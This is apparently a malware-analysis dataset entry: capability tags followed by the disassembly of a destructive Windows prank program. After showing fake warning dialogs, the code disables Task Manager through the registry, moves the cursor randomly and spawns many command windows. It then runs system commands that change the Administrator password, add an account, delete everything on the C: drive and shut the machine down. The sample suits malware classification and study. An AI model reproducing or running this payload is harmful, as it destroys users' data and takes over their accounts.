Function at 0x4016fd
Capabilities:
Disable system features via registry on windows
Execute command
Self delete
Set registry value

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0xc0
call sym.___main
mov dword [esp + 0xc], 0x20
mov dword [esp + 8], 0x4b00e8
mov dword [esp + 4], str.Do_you_want_to_change_your_computer_
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], str.Your_friend
mov dword [esp + 4], str.I_think_you_want_to_change_your_computer.
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
mov dword [esp + 0xc], 0x30
mov dword [esp + 8], str.Warning
mov dword [esp + 4], str.Do_you_really_want_to_run_
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Computer_virus_invasion_
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
mov dword [esp], str.color_8F
call sym._system
mov dword [ebp - 0x34], 1
lea eax, [ebp - 0x30]
mov dword [esp + 8], eax
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
call eax
sub esp, 0xc
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x34]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.DisableTaskMgr
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov dword [esp], str.title
call sym._system
mov dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0xa
jg 0x401879
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x18], 1
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_SetCursorPos]
call eax
sub esp, 8
jmp 0x401848
mov dword [esp], str.color_F5
call sym._system
mov dword [ebp - 0x10], 1
cmp dword [ebp - 0x10], 0x32
jg 0x4018a4
mov dword [esp], str.start_cmd
call sym._system
add dword [ebp - 0x10], 1
jmp 0x40188c
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_GetSystemMetrics]
call eax
sub esp, 4
mov dword [ebp - 0x1c], eax
mov dword [esp], 1
mov eax, dword [sym.imp.USER32.dll_GetSystemMetrics]
call eax
sub esp, 4
mov dword [ebp - 0x20], eax
mov dword [esp], 0
call dbg.time
mov dword [esp], eax
call sym._srand
mov dword [ebp - 0x24], 1
cmp dword [ebp - 0x24], 0x3e8
jg 0x401925
call sym._rand
cdq
idiv dword [ebp - 0x20]
mov ebx, edx
call sym._rand
cdq
idiv dword [ebp - 0x1c]
mov eax, edx
mov dword [esp + 4], ebx
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_SetCursorPos]
call eax
sub esp, 8
mov dword [esp], 0x64
call sym._malloc
jmp 0x4018e7
mov dword [esp], str.mode_96_28
call sym._system
mov dword [esp], 0xfffffff6
mov eax, dword [sym.imp.KERNEL32.dll_GetStdHandle]
call eax
sub esp, 4
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x38]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetConsoleMode]
call eax
sub esp, 8
mov eax, dword [ebp - 0x38]
and eax, 0xffffffbf
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetConsoleMode]
call eax
sub esp, 8
call dbg.HideTheCursor()
mov dword [ebp - 0x8c], 0x54
mov dword [ebp - 0x88], 0
mov word [ebp - 0x84], 0xf
mov word [ebp - 0x82], 0x1e
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x7c], 0x190
mov dword [esp + 4], str.MS_Gothic
lea eax, [ebp - 0x8c]
add eax, 0x14
mov dword [esp], eax
call sym._wcscpy
mov dword [esp], 0xfffffff5
mov eax, dword [sym.imp.KERNEL32.dll_GetStdHandle]
call eax
sub esp, 4
lea edx, [ebp - 0x8c]
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetCurrentConsoleFontEx]
call eax
sub esp, 0xc
mov dword [esp], str.color_1f
call sym._system
mov eax, dword [sym.imp.USER32.dll_GetForegroundWindow]
call eax
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x9c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetWindowRect]
call eax
sub esp, 8
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0x438
mov dword [esp + 0xc], 0x2198
mov dword [esp + 8], 0xfffffff9
mov dword [esp + 4], 0xffffffe2
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_MoveWindow]
call eax
sub esp, 0x18
call dbg.full_screen()
mov dword [esp + 4], str._Warning__passing_NULL_to_non_pointer_argument_3_of_LONG_RegSetValueExA_HKEY__LPCSTR__DWORD
mov dword [esp], 0x4af7a0
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov dword [esp + 4], str._from_C:_Program_Files__x86__Dev_Cpp_MinGW32_i686_w64_mingw32_include_windows.h
mov dword [esp], 0x4af7a0
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov dword [esp + 4], str.from_C:_Note__declared_hereovoDesktopDev_C_Windows_XP_Horror.cpp
mov dword [esp], 0x4af7a0
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov dword [esp + 4], str.SetCurrentConsoleFontEx_GetStdHandle_STD_OUTPUT_HANDLE___FALSE__cfi__
mov dword [esp], 0x4af7a0
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov dword [esp + 4], str.RegCreateKey_HKEY_CURRENT_USER__SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem__hkey__
mov dword [esp], 0x4af7a0
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov dword [esp + 4], str._Warning__passing_NULL_to_non_pointer_argument_3_of_LONG_RegSetValueExA_HKEY__LPCSTR__DWORD
mov dword [esp], 0x4af7a0
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov dword [esp + 4], str._from_C:_Program_Files__x86__Dev_Cpp_MinGW32_i686_w64_mingw32_include_windows.h
mov dword [esp], 0x4af7a0
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov dword [esp + 4], str.from_C:_Note__declared_hereovoDesktopDev_C_Windows_XP_Horror.cpp
mov dword [esp], 0x4af7a0
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov dword [esp + 4], str.SetCurrentConsoleFontEx_GetStdHandle_STD_OUTPUT_HANDLE___FALSE__cfi__
mov dword [esp], 0x4af7a0
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov dword [esp + 4], str.RegCreateKey_HKEY_CURRENT_USER__SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem__hkey__
mov dword [esp], 0x4af7a0
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov dword [esp + 4], str.________________________________________________________________________________________________________________________
mov dword [esp], 0x4af7a0
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov dword [esp], str.shutdown__s__t_120
call sym._system
mov dword [esp], str.taskkill__f__im_taskmgr.exe
call sym._system
mov dword [esp], str.taskkill__f__im_taskmgr.txt
call sym._system
mov dword [esp], str.taskkill__f__im_taskmgr.doc
call sym._system
mov dword [esp], str.taskkill__f__im_taskmgr.docx
call sym._system
mov dword [esp], str.taskkill__f__im_taskmgr.xls
call sym._system
mov dword [esp], str.taskkill__f__im_taskmgr.xlsx
call sym._system
mov dword [esp], str.taskkill__f__im_taskmgr.zip
call sym._system
mov dword [esp], str.taskkill__f__im_taskmgr.rar
call sym._system
mov dword [esp], str.taskkill__f__im_taskmgr.wma
call sym._system
mov dword [esp], str.taskkill__f__im_taskmgr.html
call sym._system
mov dword [esp], str.taskkill__f__im_taskmgr.htm
call sym._system
mov dword [esp], str.taskkill__f__im_taskmgr.css
call sym._system
mov dword [esp], str.taskkill__f__im_taskmgr.wmv
call sym._system
mov dword [esp], str.taskkill__f__im_taskmgr.flv
call sym._system
mov dword [esp], str.taskkill__f__im_taskmgr.mp4
call sym._system
mov dword [esp], str.taskkill__f__im_taskmgr.avi
call sym._system
mov dword [esp], str.taskkill__f__im_taskmgr.mky
call sym._system
mov dword [esp], str.taskkill__f__im_taskmgr.png
call sym._system
mov dword [esp], str.taskkill__f__im_taskmgr.jpg
call sym._system
mov dword [esp], str.taskkill__f__im_taskmgr.gif
call sym._system
mov dword [esp], str.taskkill__f__im_taskmgr.bmp
call sym._system
mov dword [esp], str.taskkill__f__im_taskmgr.ico
call sym._system
mov dword [esp], str.net_user_Administrator_2147483646
call sym._system
mov dword [esp], str.net_user_Administrator_error
call sym._system
mov dword [esp], str.net_user_Error_error__add
call sym._system
mov dword [esp], str.del__F__S__Q_C:_
call sym._system
mov dword [esp], str.shutdown__s__t_3
call sym._system
mov eax, 0
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret